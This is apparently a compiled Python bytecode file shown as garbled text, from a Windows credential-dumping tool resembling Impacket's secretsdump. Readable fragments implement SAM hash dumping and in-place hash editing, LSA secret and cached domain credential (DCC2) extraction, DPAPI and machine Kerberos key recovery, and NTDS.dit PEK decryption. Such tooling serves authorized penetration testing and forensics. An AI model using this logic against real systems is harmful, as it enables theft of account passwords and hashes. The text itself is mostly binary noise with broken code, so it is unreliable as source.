   r  r1  r  r   r   ÚLMOWFv1ÚNTOWFv1r¤   r°  r   ÚutcnowÚboolrµ   r›  r¿  rÁ  rw   rƒ   Ú_SAMHashes__decryptHashrŽ  rˆ  rŠ  r‹  rŒ  Ú!_SAMHashes__extract_local_historyÚgetÚpopr?  ÚmaxrÆ  )Cr	  Ú
NTPASSWORDÚ
LMPASSWORDÚusersKeyÚridsr»  rÁ  r”   r�   ÚLockoutDurationMinutesr  ÚdomainDataVÚ
system_sidÚgroups_rootÚgroupsÚentryrŸ   Ú
group_dataÚname_offsetÚname_lengthÚ	groupnameÚ
user_countÚ
new_offsetrM  r:  Ú
entry_typeÚ
sid_lengthÚsidÚlocal_adminsÚempty_lm_hexÚempty_nt_hexr$  ÚdisabledÚ
locked_outÚauto_lockedÚis_adminÚuserAccountFr°   r©   Ú'LastIncorrectPasswordTimestamp_datetimerª   Úuser_sidÚlockedÚlockout_expiry_timeÚnowÚgrouped_dataÚraw_vÚuserAccountÚuserNameÚ	encNTHashrÊ  Ú	encLMHashÚlmHashÚntHashÚanswerr“  r�  Úlm_histÚnt_histÚcountÚidxÚlm_valÚnt_valÚlm_hexÚnt_hexÚhistory_lineÚexcrt   rt   ru   rÂ  ƒ  s,  




ý€ø
€þþ


"  €  


$€@

þ
ÿ"÷
 €ÿë®zSAMHashes.dumpr=  c              
   C   sb  d}d}| j d u rd S t d| ¡ |  ¡  d}|  |¡}z| d¡ W n   Y |D �]}t|  t 	||d¡¡d ƒ}	|}
t
|dƒ}|	d	 }||	d
 |	d
 |	d  …  d¡}| ¡ | ¡ krjt d||f ¡ nq+|	d dkr{t d| ¡  d S d}||	d d … dd… dkrºd}|	d dkr£t||	d d … d |	d … ƒ}|	d dkr¹t||	d d … d |	d … ƒ}n(d}|	d dkrÒt||	d d … d |	d … ƒ}t||	d d … d |	d … ƒ}t d| ¡ t d|	d |	d f ¡ |	d dk�r|  ||||¡}nd}d}|dk�r|  ||||¡}nd}d}d}|dk�rf|  |||d ||¡|d< |	d t| ¡ ƒk�rWt d ¡ t d!¡ t d"|	d t| ¡ ƒf ¡ d}n|  ||	d | ¡ ¡|	d	< d}|dk�r°|  |||d ||¡|d< |	d t| ¡ ƒk�r¡t d#¡ t d$¡ t d%|	d › d&t| ¡ ƒ› �¡  d S |  ||	d | ¡ ¡|	d	< d}|dk�r»t d'd'¡}|dk�rÆt d'd'¡}t d(||t|ƒ d)¡t|ƒ d)¡f ¡ |�r÷|  t 	||
d¡|	 ¡ ¡d u �röt d*¡  d S nt d+¡ |dk�rt d'd'¡}|dk�rt d'd'¡}d,||t|ƒ d)¡t|ƒ d)¡f }|| j|< |  |¡ q+d S )-Nr  r  z$Editing local SAM hash for user "%s"r	  r
  r  r0  rY  r�   r¹   r»   r  zLocated rid for "%s": %drÛ   r   zPSAM hashes change for user %s failed. The account doesn't have hash information.r=  rÚ   r“  r/  r¼  FrØ   rã  r×   Trž  r  z#LMHashLength: %d - NTHashLength: %dri   r|   zMistaching LM lengths received.z?User probably has an empty password. Unable to set new LM hash.zReceived: %d - Expected: %dzMistaching NT lengths received!z?User probably has an empty password. Unable to set new NT hash.z
Received: z - Expected: rÍ  z"Previous user hash: %s:%d:%s:%s:::r  z*Failed to write new user hash to SAM hive.zUUnable to change user hash, please ensure the target user already has a password set.ú%s:%s:%s:%s:::)r…  r   r~  rÆ  rr  r#  rµ   ry  r¾  rÃ  r›  r:  ÚcasefoldrÁ  r¿  rÆ  rw   rƒ   r*  Ú_SAMHashes__encryptHashr?  r¼  Ú_SAMHashes__replaceValuer   r&  r'  r   r|  rŠ  r‹  )r	  ÚuserÚ	newNTHashÚ	newLMHashr/  r0  r1  r2  r$  rQ  Ú_ridr  rR  rS  rÊ  rT  rU  rV  ÚuserChangedrW  rt   rt   ru   Úedit=  s¨   



"  €  






"

* 
þ


$
 zSAMHashes.editNc                 C   st   t | jƒdkr8t| jƒ}|d }t||d�}|D ]}| | j| d ¡ q| jD ]	}| |d ¡ q(| ¡  |S d S )Nr   z.sam©r   Ú
)r?  rŠ  Úsortedr!  rB  r�  rE  )r	  ÚbaseFileNamer   Úitemsr  Úfdr=  r4  rt   rt   ru   Úexportµ  s   

÷zSAMHashes.exportrM  )r=  rG  )rp   rq   rr   r+  r¨  r°  r[   rÆ  r*  rd  rÙ  rë  rô  ró  r+  re  rÂ  rk  rr  rt   rt   rt   ru   r€  ”  s$    


' 
;xr€  c                   @   s²   e Zd ZdZG dd„ dƒZddddd„ fdd	„Zd
d„ Zd)dd„Zdd„ Zdd„ Z	dd„ Z
dd„ Zdd„ Zdd„ Zdd„ Zdd„ Zdd „ Zd!d"„ Zd#d$„ Zd*d%d&„Zd*d'd(„ZdS )+Ú
LSASecretsz(Unknown User)c                   @   s   e Zd ZdZdZdZdZdS )zLSASecrets.SECRET_TYPEr   r0  r“  r/  N)rp   rq   rr   ÚLSAÚ
LSA_HASHEDÚLSA_RAWÚLSA_KERBEROSrt   rt   rt   ru   ÚSECRET_TYPEÃ  s
    rx  NFc                 C   ó   t |ƒS rG  r�  ©Ú
secretTyperƒ  rt   rt   ru   r    Ê  r„  zLSASecrets.<lambda>c                 C   s\   t  | ||¡ d| _|| _d| _d| _d| _tƒ | _|| _	|| _
g | _g | _|| _|| _d S )Nr=  T)rj  r+  Ú_LSASecrets__hashedBootKeyÚ_LSASecrets__bootKeyÚ_LSASecrets__LSAKeyÚ_LSASecrets__NKLMKeyÚ_LSASecrets__vistaStylerQ  Ú_LSASecrets__cryptoCommonÚ_LSASecrets__securityFileÚ_LSASecrets__remoteOpsÚ_LSASecrets__cachedItemsÚ_LSASecrets__secretItemsÚ_LSASecrets__perSecretCallbackÚ_LSASecrets__history)r	  ÚsecurityFiler£  Ú	remoteOpsro  r�  r’  rt   rt   ru   r+  É  s   
zLSASecrets.__init__c                 C   r±  r²  r´  r¸  rt   rt   ru   r[   Ù  r¹  zLSASecrets.MD5éè  c                 C   s2   t  ¡ }| |¡ tdƒD ]}| |¡ q| ¡ S )NrŠ  )rµ  Úsha256r¶  r  r·  )r	  r¤  r]  ÚroundsÚshar  rt   rt   ru   Ú__sha256Þ  s
   
zLSASecrets.__sha256c                 C   sÈ   d}t d|d d… ƒd }|t|ƒ| d … }|}tdt|ƒdƒD ]:}|d d… }|d d… }t|ƒ}	t |	tj¡}
||
 |¡7 }|dd … }|dd … }t|ƒdk r[|t|ƒd … }q!t|ƒ}|d S )Nr=  z<Ir  r   rè  rŸ  r  )	r
   r?  r  r?   rV   rZ  rÇ  r\  r  )r	  r¤  r]  r_  ÚencryptedSecretSizeÚkey0r  re  Ú	tmpStrKeyÚtmpKeyrÍ  rƒ  rt   rt   ru   Ú__decryptSecretå  s"   €zLSASecrets.__decryptSecretc                 C   s.   t  ||t¡}| ¡ }t |¡}| |¡}|S rG  )rY   rZ  r[   r·  rW   rd  )r	  r¤  r]  r^  Úhmac_md5Úrc4keyrÄ  rŸ   rt   rt   ru   rÐ  ü  s
   

zLSASecrets.__decryptHashc                 C   sØ   | j du r6t|ƒ}|  | j|d d d… ¡}| j ||d dd … ¡}t|ƒ}|d dd … d d… | _d S t 	d¡}| 
| j¡ tdƒD ]}| 
|dd	… ¡ qE| ¡ }t 	|¡}| |d
d… ¡}|dd… | _d S )NTrù   é    r  r  r³  rŠ  r  éL   r›  rY  )r€  r  Ú_LSASecrets__sha256r}  r�  rc  r  r~  rµ  rZ  r¶  r  r·  rW   r\  )r	  r]  rî  r’  r_  r³  r  rÄ  rt   rt   ru   Ú__decryptLSA  s   


zLSASecrets.__decryptLSAc                 C   sT   t  d¡ |  d¡}|d u r!t  d¡ |  d¡}d| _|d u r!d S |  |d ¡ d S )NzDecrypting LSA Keyz\Policy\PolEKList\defaultz2PolEKList not found, trying PolSecretEncryptionKeyz&\Policy\PolSecretEncryptionKey\defaultFr0  )r   rÁ  ry  r€  Ú_LSASecrets__decryptLSA)r	  r]  rt   rt   ru   Ú__getLSASecretKey  s   



zLSASecrets.__getLSASecretKeyc                 C   sŒ   t  d¡ |  d¡}|d u rtdƒ‚| jdu r:t|d ƒ}|  | j|d d d… ¡}| j 	||d dd … ¡| _
d S |  | j|d ¡| _
d S )NzDecrypting NL$KMz%\Policy\Secrets\NL$KM\CurrVal\defaultzCouldn't get NL$KM valueTr0  rù   r–  )r   rÁ  ry  r1  r€  r  r˜  r~  r�  rc  r  Ú_LSASecrets__decryptSecret)r	  r]  rî  r’  rt   rt   ru   Ú__getNLKMSecret&  s   


 zLSASecrets.__getNLKMSecretc                 C   s   |d@ dkr||d@  S |S )Nr/  r   rt   r#  rt   rt   ru   Ú__pad2  s   zLSASecrets.__padc              
   C   s(  | j d u rd S t d¡ |  d¡}|d u rd S z| d¡ W n   Y d}d|v rB| d¡ |  d¡d }|dkr>|d@ }n|d	 }|  ¡  |  ¡  |D ]Å}t d
| 	d¡ ¡ t
|  t d| 	d¡¡¡d ƒ}|d dk�r|d d@ dkrœ| jdu rŽ| j | jdd… |d |d ¡}n|  | j|d |d ¡}	 nqL|d d… }|dd … }|d |d …  	d¡}||  |d ¡|  |d ¡ d … }|d |  |d ¡…  	d¡}tjt|d ƒtjd�}	| jdu rõd||||t|ƒ 	d¡|	f }
nd||t|ƒ 	d¡||	f }
| j |
¡ |  tjj|
¡ qLd S )Nz>Dumping cached domain logon information (domain/username:hash)z\Cacheó
   NL$Controli (  s   NL$IterationCountz\Cache\NL$IterationCountr0  l    |ÿ r  úLooking into %sr  rö   rX  rñ   TrY  r–  rù   éH   rã   r  rä   rô   rî   )Útzz%s/%s:$DCC2$%s#%s#%s: (%s)z%s/%s:%s:%s: (%s))r‚  r   r~  rw  r#  ry  Ú_LSASecrets__getLSASecretKeyÚ_LSASecrets__getNLKMSecretrÁ  r:  râ   r¾  rÃ  r€  r�  rc  r  Ú_LSASecrets__decryptHashÚ_LSASecrets__padr   Úfromtimestampr7   r	   Úutcr   r„  r  r†  rs  rx  ru  )r	  r  ÚiterationCountrî  r]  r_  ÚencHashrR  Ú
domainLongÚ	timestamprW  rt   rt   ru   ÚdumpCachedHashes8  sT   




 
$$
 €ãzLSASecrets.dumpCachedHashesc                 C   s´  t |ƒdkrt d| ¡ d S | d¡rt d| ¡ d S | ¡ }t d| ¡ d}| d¡rgz| d¡}W n   Y �nßt| jd	ƒr\| j 	|d
d … ¡}|d u rW| j
d }n
d| }n| j
d }||7 }�nµ| d¡rŸz| d¡}W n   Y �n¢t| jdƒr”| j ¡ }|d u r�| j
d }n
d| }n| j
d }||7 }�n}| d¡r¸z| d¡}W n   Y �njd| }�nd| d¡r×t|ƒ}d t|d ƒ d¡t|d ƒ d¡¡}�nE| d¡�r¥t ¡ }| |¡ d }	d }
t| jdƒr÷| j ¡ \}	}
|	rü|
�sB|  ¡ }|dk�rB| d¡}| d¡}|dk�rB|d |… }||d
 d … }d|v �r.| d¡d n|}
d|v �r>| d¡d  ¡ n| ¡ }	|	�rg|
�rgd|
|	f }d|
|	tt dd¡ƒ d¡t| ¡ ƒ d¡f }nd}dtt dd¡ƒ d¡t| ¡ ƒ d¡f }|  ||¡�s‹t d¡ d |t|ƒ d¡f }| j |¡ |  tjj|¡ nwt  !d!|¡d u�rt  "d!|¡ #d"¡}z| d¡ $d#d$¡}t% &|¡}W n   Y nOg }|d% d"k�r| d&|d%  ¡ |d' D ]}| d(|d)  ¡ | d*|d+  ¡ �qãd, '|¡}d-||f }nt (d.t)|d% ƒ ¡ t (d/¡ t%j*|d
d0�}|dk�r3|}| j |¡ |  tjj|¡ d S d1|t|ƒ d¡f }| j |¡ | j+| jj+k�rPt,|ƒ |  tjj-|¡ d S )2Nr   zDiscarding secret %s, NULL Datas     zDiscarding secret %s, all zerosz%s rÍ  Ú_SC_r  rs  r  r‚   z%s:ÚDEFAULTPASSWORDrf  ÚASPNET_WP_PASSWORDz
ASPNET: %sr8   z*dpapi_machinekey:0x{0}
dpapi_userkey:0x{1}Ú
MachineKeyzlatin-1ÚUserKeyz$MACHINE.ACCr  r=  r  rL  rC  z%s\%s$z%s\%s$:%s:%s:::z$MACHINE.ACC: %s:%sz]Could not calculate machine account Kerberos keys, only printing plain password (hex encoded)z%s:plain_password_hex:%szG^L\$_SQSA_(S-[0-9]-[0-9]-([0-9])+-([0-9])+-([0-9])+-([0-9])+-([0-9])+)$r0  õ   Â ú Úversionz - Version : %dÚ	questionsz | Question: %sÚquestionz | |--> Answer: %srW  rm  z#Security Questions for user %s: 
%szfUnknown SQSA version (%s), please open an issue with the following data so we can add a parser for it.zSDon't forget to remove sensitive content before sending the data in a Github issue.)Úindentz%s:%s).r?  r   rÁ  rG  rJ  r~  r:  r¬  rƒ  rs  ÚUNKNOWN_USERrf  r8   Úformatr   rZ   rZ  r¶  r  Ú*_LSASecrets__getMachineKerberosSaltOffliner3  rH  r   r&  r·  Ú!_LSASecrets__printMachineKerberosr…  r  r†  rs  rx  rt  ÚreÚmatchr7  r  rì  ÚjsonÚloadsrÃ  Úwarningr2  Údumpsrq   r=   rv  )r	  rÒ  Ú
secretItemÚ	upperNamerƒ  Ú
strDecodedrr  ÚdpapiÚmd4Úmachiner�  rO  Úsalt_strÚhost_idxÚrealmÚfqdnÚ	printnameÚextrasecretrA  ÚoutputÚqkÚprintableSecretrt   rt   ru   Ú__printSecretw  sÌ   









ÿ





$ÿÿ



zLSASecrets.__printSecretc                 C   s¸   zJ|   d¡}|   d¡}|du s|du rW dS dd„ }||d ƒ}||d ƒ}|r*|s-W dS | ¡  d¡}d	| ¡  d
¡| d
¡| ¡  d
¡f }|W S  ty[   tjddd� Y dS w )zÂCompute Kerberos salt from SECURITY hive Policy values (offline mode).
        Reads PolDnDDN (domain FQDN) and PolAcDmN (machine name) which are stored
        as LSA_UNICODE_STRING structures.z\Policy\PolDnDDN\defaultz\Policy\PolAcDmN\defaultNr=  c                 S   sB   t | ƒdk rdS td| d d… ƒd }| dd| …  d¡ d¡S )Nrè  rÍ  z<Hr“  r   ú	utf-16-lerÙ  )r?  r
   r:  Úrstrip)Úrawrç  rt   rt   ru   Údecode_lsa_unicode	  s   zFLSASecrets.__getMachineKerberosSaltOffline.<locals>.decode_lsa_unicoder0  ú$rD  r  z)Exception computing offline Kerberos saltTr5  )ry  rF  rÔ  rJ  rK  r1  r   rÁ  )r	  Ú
dnDdnValueÚ
acDmNValuerÖ  r�  rÈ  rL  rO  rt   rt   ru   Ú__getMachineKerberosSaltOffline	  s"   

(þz*LSASecrets.__getMachineKerberosSaltOfflinec           	   	   C   sò   d}t | jdƒr| j ¡ }|dkr|  ¡ }|dkrdS ttjjjƒttjj	jƒttjj
jƒg}| dd¡ dd¡}|D ];}z	t|||d ƒ}W n tyU   tjddd	� ‚ w tj| }d
||t|jƒ d¡f }| j |¡ |  tjj|¡ q;dS )Nr=  rP  FrÓ  rì  r  r1  Tr5  ú%s:%s:%s)r¬  rƒ  rP  r»  r›  r@   rO   Úaes256_cts_hmac_sha1_96r]  Úaes128_cts_hmac_sha1_96Údes_cbc_md5r:  rK  rP   r1  r   rÁ  r  ÚKERBEROS_TYPEr   Úcontentsr…  r  r†  rs  rx  rw  )	r	  Ú	rawsecretÚmachinenamerO  Ú
allciphersÚetyper¤  Útypenamerƒ  rt   rt   ru   Ú__printMachineKerberos!	  s0   
ý
þ
z!LSASecrets.__printMachineKerberosc           
      C   sD  | j d u rd S t d¡ |  d¡}|d u rd S z| d¡ W n   Y | jdkr,|  ¡  |D ]q}t d| ¡ dg}| jrB| 	d¡ |D ]Z}|  
d ||¡¡}|d urž|d	 d
krž| jdu r‡t|d	 ƒ}|  | j|d d d… ¡}| j ||d dd … ¡}t|ƒ}|d }	n	|  | j|d	 ¡}	|dkr˜|d7 }|  ||	¡ qDq.d S )NzDumping LSA Secretsz\Policy\SecretsrŸ  r=  r   ÚCurrValÚOldValz\Policy\Secrets\{}\{}\defaultr0  r   Trù   r–  r  rj  )r‚  r   r~  rr  r#  r~  r£  rÁ  r‡  r  ry  rº  r€  r  r˜  r�  rc  r  rœ  Ú_LSASecrets__printSecret)
r	  ru  r¤  ÚvalueTypeListÚ	valueTyper]  rî  r’  r_  rƒ  rt   rt   ru   ÚdumpSecretsC	  sB   






€ðùzLSASecrets.dumpSecretsc                 C   óL   t | jƒdkr$|d }t||d�}| jD ]	}| |d ¡ q| ¡  |S d S )Nr   z.secretsrl  rm  )r?  r…  r!  rB  rE  ©r	  ro  r   r  rq  r=  rt   rt   ru   ÚexportSecretsq	  ó   
úzLSASecrets.exportSecretsc                 C   rí  )Nr   z.cachedrl  rm  )r?  r„  r!  rB  rE  rî  rt   rt   ru   ÚexportCachedz	  rð  zLSASecrets.exportCached)rŠ  rG  )rp   rq   rr   r¹  rx  r+  r[   r˜  rœ  r¥  rš  r£  r¤  r¦  r­  ré  r»  r¼  rì  rï  rñ  rt   rt   rt   ru   rs  Á  s,    
ÿ
? "
.	rs  c                   @   sN   e Zd Zddd„Zdd„ Zdd„ Zdd	„ Zd
d„ Zdd„ Zdd„ Z	dd„ Z
dS )ÚResumeSessionMgrInFileNc                 C   s   || _ d | _|d u| _d S rG  )Ú'_ResumeSessionMgrInFile__resumeFileNameÚ#_ResumeSessionMgrInFile__resumeFileÚ&_ResumeSessionMgrInFile__hasResumeData)r	  ÚresumeFileNamert   rt   ru   r+  …	  s   zResumeSessionMgrInFile.__init__c                 C   rF  rG  )rõ  rD  rt   rt   ru   ÚhasResumeDataŠ	  rI  z$ResumeSessionMgrInFile.hasResumeDatac                 C   s4   |   ¡  | jrtj | j¡rt | j¡ d S d S d S rG  )ÚendTransactionró  ÚosÚpathÚisfiler#  rD  rt   rt   ru   ÚclearResumeData�	  s   ÿz&ResumeSessionMgrInFile.clearResumeDatac                 C   s8   | j  dd¡ | j  d¡ | j  | ¡ ¡ | j  ¡  d S r8  )rô  r<  ÚtruncaterB  rK  Úflushr#  rt   rt   ru   ÚwriteResumeData’	  s   z&ResumeSessionMgrInFile.writeResumeDatac              
   C   sh   z	t | jdƒ| _W n ty } ztdt|ƒ ƒ‚d }~ww | j ¡ }| j ¡  t | jdƒ| _| d¡S )NÚrbz'Cannot open resume session file name %súwb+r  )r  ró  rô  r1  r2  rA  rE  r:  )r	  r7  Ú	resumeSidrt   rt   ru   ÚgetResumeData™	  s   €ÿ


z$ResumeSessionMgrInFile.getResumeDatac                 C   rF  rG  )ró  rD  rt   rt   ru   ÚgetFileName¤	  rI  z"ResumeSessionMgrInFile.getFileNamec              
   C   s‚   | j sdd dd„ tdƒD ƒ¡ | _ t d| j  ¡ | js?z
t| j dƒ| _W d S  ty> } ztd| j t|ƒf ƒ‚d }~ww d S )	Nzsessionresume_%srÍ  c                 s   s   � | ]	}t  tj¡V  qd S rG  r®  r³  rt   rt   ru   Ú	<genexpr>©	  ó   € z:ResumeSessionMgrInFile.beginTransaction.<locals>.<genexpr>rè  zSession resume file will be %sr  z*Cannot create "%s" resume session file: %s)	ró  rÃ  r  r   rÁ  rô  r  r1  r2  rŽ  rt   rt   ru   ÚbeginTransaction§	  s   €ÿýz'ResumeSessionMgrInFile.beginTransactionc                 C   s   | j r| j  ¡  d | _ d S d S rG  )rô  rE  rD  rt   rt   ru   rø  ±	  s   

þz%ResumeSessionMgrInFile.endTransactionrG  )rp   rq   rr   r+  r÷  rü  rÿ  r  r  r  rø  rt   rt   rt   ru   rò  „	  s    

rò  c                   @   sP  e Zd ZG dd„ deƒZG dd„ dƒZi dd“dd“d	d
“dd“dd“dd“dd“dd“dd“dd“dd“dd“dd“dd “d!d"“d#d$“d%d&“d'd(d)d*d+d,œ¥Zd-d.d/d0d1d2d3d4d5d6œ	Zd7d8d9d:d;d<d=d>d?d@dAœ
ZdBdCdDdEdFdGœZ	e
dHdI„ e ¡ D ƒƒZdJZdKZdLZeeefZG dMdN„ dNeƒZG dOdP„ dPeƒZG dQdR„ dReƒZG dSdT„ dTeƒZG dUdV„ dVeƒZG dWdX„ dXeƒZG dYdZ„ dZeƒZd[d[d\d]d[d[d[d[d]d]d]d]d]d[d]d^d_„ efd`da„Zedbdc„ ƒZeddde„ ƒZedfdg„ ƒZed‚dhdi„ƒZdjdk„ Z dldm„ Z!dndo„ Z"dpdq„ Z#drds„ Z$dtdu„ Z%e&dvdw„ ƒZ'dƒdxdy„Z(d„dzd{„Z)d|d}„ Z*ed~d„ ƒZ+d€d�„ Z,d]S )…r  c                   @   s   e Zd ZdS )zNTDSHashes.MissingPekIndexN)rp   rq   rr   rt   rt   rt   ru   ÚMissingPekIndex¸	  s    r  c                   @   s   e Zd ZdZdZdZdS )zNTDSHashes.SECRET_TYPEr   r0  r“  N)rp   rq   rr   rF  ÚNTDS_CLEARTEXTÚNTDS_KERBEROSrt   rt   rt   ru   rx  »	  s    rx  Ú
uSNCreateds
   ATTq131091Ú
uSNChangeds
   ATTq131192rÒ  s   ATTm3Ú
objectGUIDs
   ATTk589826r.  s
   ATTr589970r  s
   ATTj589832ÚprimaryGroupIDs
   ATTj589922ÚaccountExpiress
   ATTq589983Ú
logonCounts
   ATTj589993ÚsAMAccountNames
   ATTm590045ÚsAMAccountTypes
   ATTj590126ÚlastLogonTimestamps
   ATTq591520Ú	lastLogons
   ATTq589876ÚuserPrincipalNames
   ATTm590480Ú
unicodePwds
   ATTk589914ÚdBCSPwds
   ATTk589879ÚntPwdHistorys
   ATTk589918s
   ATTk589984s
   ATTk590689s
   ATTk589949s
   ATTq589920s
   ATTj131073)ÚlmPwdHistoryÚpekListÚsupplementalCredentialsr“  ÚinstanceTypei�	 iÝ 	 iZ 	 i7 	 i^ 	 i  	 i} 	 i’ 	 i 	 )	r  r  r  r  r  r  r  r.  r  z1.2.840.113556.1.4.656z1.2.840.113556.1.4.221z1.2.840.113556.1.4.90z1.2.840.113556.1.4.55z1.2.840.113556.1.4.94z1.2.840.113556.1.4.160z1.2.840.113556.1.4.125z1.2.840.113556.1.4.146z1.2.840.113556.1.4.96z1.2.840.113556.1.4.8)
r  r  r  r  r  r  r  r.  r“  r  zdec-cbc-crczdes-cbc-md5zaes128-cts-hmac-sha1-96zaes256-cts-hmac-sha1-96Úrc4_hmac)r0  r/  é   é   l   tÿ c                 c   s   � | ]	\}}||fV  qd S rG  rt   )r´  Úkr  rt   rt   ru   r  ú	  r  zNTDSHashes.<genexpr>i   0i  0i  0c                   @   ra   )zNTDSHashes.PEKLIST_ENC)©ÚHeaderr¥   ©ÚKeyMaterialrj   )ÚEncryptedPekr‚   Nro   rt   rt   rt   ru   ÚPEKLIST_ENC
  rv   r&  c                   @   ra   )zNTDSHashes.PEKLIST_PLAIN))r"  z32s=b"")ÚDecryptedPekr‚   Nro   rt   rt   rt   ru   ÚPEKLIST_PLAIN	
  rv   r(  c                   @   ra   )zNTDSHashes.PEK_KEY))r"  z1s=b"")ÚPaddingz3s=b""rk   Nro   rt   rt   rt   ru   ÚPEK_KEY
  rv   r*  c                   @   ra   )zNTDSHashes.CRYPTED_HASH)r!  r#  )ÚEncryptedHashrj   Nro   rt   rt   rt   ru   ÚCRYPTED_HASH
  rv   r,  c                   @   ra   )zNTDSHashes.CRYPTED_HASHW16)r!  r#  r†   ©r+  r‚   Nro   rt   rt   rt   ru   ÚCRYPTED_HASHW16
  rv   r.  c                   @   ra   )zNTDSHashes.CRYPTED_HISTORY©r!  r#  r-  Nro   rt   rt   rt   ru   ÚCRYPTED_HISTORY%
  rv   r0  c                   @   ra   )zNTDSHashes.CRYPTED_BLOBr/  Nro   rt   rt   rt   ru   ÚCRYPTED_BLOB,
  rv   r1  FTNc                 C   ry  rG  r�  rz  rt   rt   ru   r    6
  r„  zNTDSHashes.<lambda>c                 C   sD  || _ || _|| _|| _|| _|| _|| _|
| _|| _|| _	| jd ur1t
||d�| _| j d¡| _tƒ | _tƒ | _tƒ | _tƒ | _tƒ | _|	| _||ƒ| _|| _|| _|| _|| _|| _| jd d| jd d| jd d| jd d| jd d| jd	 d| jd
 d| jd d| jd d| jd d| jd d| jd d| jd di| _d S )N©ro  Ú	datatabler.  r0  r  rÒ  r  r  r  r  r  r  r“  r  r  r  )Ú_NTDSHashes__bootKeyÚ_NTDSHashes__NTDSÚ_NTDSHashes__historyÚ_NTDSHashes__noLMHashÚ_NTDSHashes__useVSSMethodÚ"_NTDSHashes__remoteSSMethodWMINTDSÚ_NTDSHashes__remoteOpsÚ_NTDSHashes__pwdLastSetÚ_NTDSHashes__printUserStatusÚ_NTDSHashes__localDomainSidr6   Ú_NTDSHashes__ESEDBÚ	openTableÚ_NTDSHashes__cursorr»  Ú_NTDSHashes__tmpUsersÚ_NTDSHashes__PEKrQ  Ú_NTDSHashes__cryptoCommonr   Ú_NTDSHashes__kerberosKeysÚ_NTDSHashes__clearTextPwdsÚ_NTDSHashes__justNTLMÚ_NTDSHashes__resumeSessionÚ_NTDSHashes__outputFileNameÚ_NTDSHashes__justUserÚ_NTDSHashes__ldapFilterÚ_NTDSHashes__skipUserÚ_NTDSHashes__perSecretCallbackÚNAME_TO_INTERNALÚ%_NTDSHashes__filter_tables_usersecret)r	  ÚntdsFiler£  ro  r�  r«  r‰  ÚuseVSSMethodÚremoteSSMethodWMINTDSÚjustNTLMr“  ÚresumeSessionÚoutputFileNameÚjustUserÚskipUserÚ
ldapFilterr‘  ÚlocalDomainSidr’  ÚresumeSessionMgrrt   rt   ru   r+  3
  sN   















ózNTDSHashes.__init__c              
   C   s¢   zt t|ƒd�}| ¡  d¡}W n ty* } zt d||¡ W Y d }~d S d }~ww |d |k r<t d|| ¡ ¡ d S |d }ttd|dd … ƒd	 ƒ|d
< |S )Nrž   r•  zAFailed to parse %s while normalizing an offline datatable SID: %srÿ   z@Ignoring unexpected %s without the expected domain SID shape: %sr  r  éüÿÿÿr   rÕ  )	r   r   r  rH  r1  r   rÁ  r2  r
   )Úclsr.  ÚminimumSubAuthorityCountÚcontextrA  ÚcanonicalSidr7  ÚsubAuthoritiesrt   rt   ru   Ú"__getOfflineDatatableSidComponentse
  s    €þ	ÿz-NTDSHashes.__getOfflineDatatableSidComponentsc                 C   s,   |   |dd¡}|d u rd S d |d d… ¡S )Nr  zaccount objectSidr•  rÕ  ©Ú-_NTDSHashes__getOfflineDatatableSidComponentsrÃ  ©r[  r.  ÚsidComponentsrt   rt   ru   Ú__getAccountDomainSid|
  s   z NTDSHashes.__getAccountDomainSidc                 C   s$   |   |dd¡}|d u rd S d |¡S )Nr  zpekList objectSidr•  ra  rc  rt   rt   ru   Ú__getPekListDomainSidƒ
  s   
z NTDSHashes.__getPekListDomainSidc                 C   sÚ   |d u rd S t ||d�}z[| d¡}| jd d| jd di}	 z	|j||d�}W n ty6   t d¡ Y qw |d u rBW | ¡  d S || jd  d u rLq|| jd  }|d u r^W | ¡  d S |  |¡W | ¡  S | ¡  w )	Nr2  r3  r.  r0  r  T©Úfilter_tableszUError while calling getNextRow() for local domain SID resolution, trying the next one)	r6   r?  rM  Ú
getNextRowr1  r   rÆ  rE  Ú _NTDSHashes__getPekListDomainSid)r[  rO  ro  ÚeseDBÚcursorrh  rî  r.  rt   rt   ru   ÚgetLocalDomainSidŠ
  s4   


þ
þ÷
þzNTDSHashes.getLocalDomainSidc                 C   sP   || j d  | jvrdS | jd u rdS || j d  }|d u r dS |  |¡| jkS )Nr  FTr.  )rM  ÚACCOUNT_TYPESr=  Ú _NTDSHashes__getAccountDomainSid)r	  rî  r.  rt   rt   ru   Ú__isLocalDomainAccount¬
  s   
z!NTDSHashes.__isLocalDomainAccountc                 C   s
   | j  ¡ S rG  )rG  r  rD  rt   rt   ru   ÚgetResumeSessionFile¹
  ru  zNTDSHashes.getResumeSessionFilec                 C   s:  t  d¡ d }	 z| jj| j| jd�}W n
   t  d¡ Y q|d u r$n|| jd  d ur7t|| jd  ƒ}n|  	|¡rB| j
 |¡ q|d u�r|  |¡}|d d d… dkr¿t d	¡}| | j¡ td
ƒD ]	}| |d ¡ qf| ¡ }t |¡}|  | |d ¡¡}t|  ¡ ƒ}	tt|d ƒ|	 ƒD ])}||	 }
|  |d |
|
|	 … ¡}t  d|t|d ƒ d¡¡ | j |d ¡ q“d S |d d d… dk�r|  | j | j|d |d ¡¡}d\}}	 |d ||d … }t|ƒdk rñd S td|ƒ\}}||krþd S | j |¡ t  d|t|ƒ d¡¡ |d7 }|d7 }qßd S d S )Nz!Searching for pekList, be patientTrg  ú5Error while calling getNextRow(), trying the next oner  r"  r  s      r³  rŠ  r$  r%  r'  z PEK # %d found and decrypted: %srQ   r  s      )r   r   rã  z<L16sr0  )r   r~  r>  ri  r@  rN  rÆ  rM  r   Ú!_NTDSHashes__isLocalDomainAccountrA  r  r&  rµ  rZ  r¶  r4  r  r·  rW   r(  rd  r?  r*  r   r:  rB  rC  rc  r
   )r	  Úpeklistrî  ÚencryptedPekListr³  r  r’  rÄ  ÚdecryptedPekListÚPEKLenrl  ÚpekÚposÚ	cur_indexÚ	pek_entryra  rt   rt   ru   Ú__getPek¼
  sh   


ñ



üÿÿøÞzNTDSHashes.__getPekc                 C   sP   t  d¡}| |  |d ¡¡ | |d ¡ | ¡ }t |¡}| |d ¡}|S )Nr³  r"  r$  r+  )rµ  rZ  r¶  Ú_NTDSHashes__getPekFromHeaderr·  rW   rd  )r	  rÈ  r³  r’  rÄ  r_  rt   rt   ru   Ú__removeRC4Layerü
  s   

zNTDSHashes.__removeRC4Layerc                 C   sF   t t|ƒdd… dƒ}|t| jƒkr|  d|t| jƒf ¡‚| j| S )Nrè  r�  rY  zOEncrypted secret references PEK index %d, but only %d PEK entries are available)r›  r   r?  rB  r  )r	  ÚheaderÚpekIndexrt   rt   ru   Ú__getPekFromHeader  s   ÿ
